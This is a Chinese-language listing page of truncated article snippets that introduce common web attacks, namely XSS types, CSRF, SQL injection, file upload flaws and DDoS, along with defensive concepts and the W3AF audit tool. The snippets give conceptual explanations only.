    参考网址:【干货分享】Web安全漏洞深入分析及其安全编码常见 Web 安全攻防总结Web 安全入门之常见攻击来一张镇博图:安全无小事。1.XSS介绍:全英Cross Site Script,跨站脚本攻击。原理:攻击者在Web页面中插入...
  • XSS是恶意攻击者往web页面里插入恶意script代码,当用户浏览该页时,script代码会被执行,达到恶意攻击用户的目的;cookie包含有关用户的信息;XSS分为反射型、存储型和DOM型3种;可以通过Python利用cookie会话劫持...
  • Web安全之XSS跨站脚本攻击

    千次阅读 2020-03-14 15:46:55
    XSS跨站脚本攻击指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,攻击成功后,攻击者可能得到包括但不...
  • xss的重点不在于跨站点,而是在于脚本的执行,当用户浏览该页面的时候,那么嵌入到web页面的script代码会执行,因此会到达恶意攻击用户的目的 2.分类(3种) .反射型(非持久(一次性)、需要服务器) 一般指攻击...
  • Web安全笔记

    2018-02-21 22:36:05
      最近读了吴翰清的《白帽子讲Web安全》,学到了不少东西。现把书中的知识点梳理一遍,以便记忆。以下内容是我根据《白帽子讲Web安全》和自己的理解整理的,如有不够清晰或误导的地方,可以查看原书。   随着...
  • Web安全-浅析网页暗链与挂马攻击

    千次阅读 2021-02-27 22:23:13
    近年来,随着国家相关部门对互联网安全事件的重视、部分软件开发厂商安全意识的提高,曾经红极一时的“挂马”攻击手段已经日趋减少,特别是 2009 年刑法明确“挂马”事件量刑标准之后,多个曾经猖狂一时的 ”挂马” ...
  • 常见的六种web攻击

    千次阅读 2019-09-05 15:26:49
    XSS(跨脚本攻击):指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击,即恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的...
  • 现在再给大家介绍一款GUI版WEB安全工具,W3AF是一个web应用安全的攻击、审计平台,通过增加插件来对功能进行扩展,这是一款用python写的工具,支持GUI,也支持命令行模式。 W3AF目前已经集成了非常多的安全审计及...
  • Web前端攻击方式及防御措施

    千次阅读 2017-02-28 21:27:38
    恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 1、Reflected XSS 基于反射的XSS攻击,主要依靠站点服务端返回脚本,在...
  • 网络安全------网络攻击分类

    万次阅读 多人点赞 2014-09-30 10:46:36
    1.读取攻击 读取攻击主要包含所有从受害者哪里获取信息的相关攻击。此类攻击会从获取组织结构的ip地址,在那些地址范围内进行端口扫描和漏洞弱点扫描,最后到入侵有弱点的主机获取信息。 1.侦察(reconnaissance ...
  • XSS全称为Cross Site Script,即跨站点脚本攻击,XSS攻击是最为普遍且中招率最多的web攻击方式,一般攻击者通过在网页恶意植入攻击脚本来篡改网页,在用户浏览网页时就能执行恶意的操作,像html、css、img都有可能被...
  • web攻击XSS等

    千次阅读 2016-07-28 14:55:21
    from: http://ifeve.com/javaee-http-2/# http://www.2cto.com/Article/201209/156182.html ... 1.有哪些攻击? Xss(cross-site scripting)攻击指的是攻击者往Web
  • 第3章 跨站脚本攻击(XSS)3.1 XSS简介 Cross Site Script,跨站脚本攻击,简称XSS。 ...XSS分类 反射型XSS 存储型XSS DOM Based XSS 3.2 XSS攻击进阶 XSS Payload JavaScript脚本 最简单的:窃取C
  • 网络安全——常见的几种WEB攻击

    万次阅读 2018-10-25 09:24:42
    1.XSS攻击:指的是跨脚本攻击,指的是攻击者在网页中嵌套,恶意脚本程序,当用户打开网页时,程序开始在浏览器上启动,盗取用户的cooks,从而盗取密码等信息,下载执行木马程序。 解决方法:XSS之所以会发生,是因为...
  • 常见的Web攻击手段-整理

    万次阅读 2019-02-28 23:27:32
    整理常见的Web攻击手段: XSS攻击 CSRF攻击 SQL注入攻击 文件上传漏洞 DDoS攻击 其他攻击手段
  • web安全攻防实战技巧

    千次阅读 2017-01-20 11:16:56
    一般提到web安全攻防技术,首先想到的就是xss攻击和sql注入,今天就给大家先简单说说这两种。 什么是XSS XSS指攻击者在网页中嵌入客户端脚本(例如JavaScript), 用户浏览网页就会触发恶意脚本执行。 比如获取用户...
  • Web安全简介

    2017-01-13 15:13:25
    Web安全,也可以叫做Web应用安全。  互联网本来是安全的,自从有了研究安全的人之后,互联网就变的不安全了。 Web安全的本质是信任问题  由于信任,正常处理用户恶意的输入导致问题的产生  非预期的输入  ...
  • web安全编程防御

    千次阅读 2015-12-23 23:57:23
    如何进行web应用安全防御,是每个web安全从业者都会被问到的问题,非常不好回答,容易过于肤浅或流于理论,要阐明清楚,答案就是一本书的长度。而本文要介绍一本能很好回答这个问题的优秀书籍——《web application ...
  • 网易WEB白帽子-WEB安全基础

    千次阅读 2019-03-03 21:19:26
    02..WEB安全基础 1.钓鱼 诱惑性的标题,仿冒真实网址,骗取用户账户,骗取用户资料 2.网页‘篡改’ hacked by Intitle : keyword 标题中还有关键字的网页 Intext : keyword 正文中还有关键字的网页 Site : ...
  • 常见的web网站攻击类型

    千次阅读 2018-09-16 23:38:15
    **1,SQL注入 2,命令注入 3,任意文件上传 4,任意文件下载 5,反序列化漏洞 6,远程命令执行 7,已知的探测器扫描行为 8,文件包含 9,XXE 10,XSS 11,任意文件遍历 12,SSRF ...等**...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 22,918
精华内容 9,167
关键字:

web安全攻击分类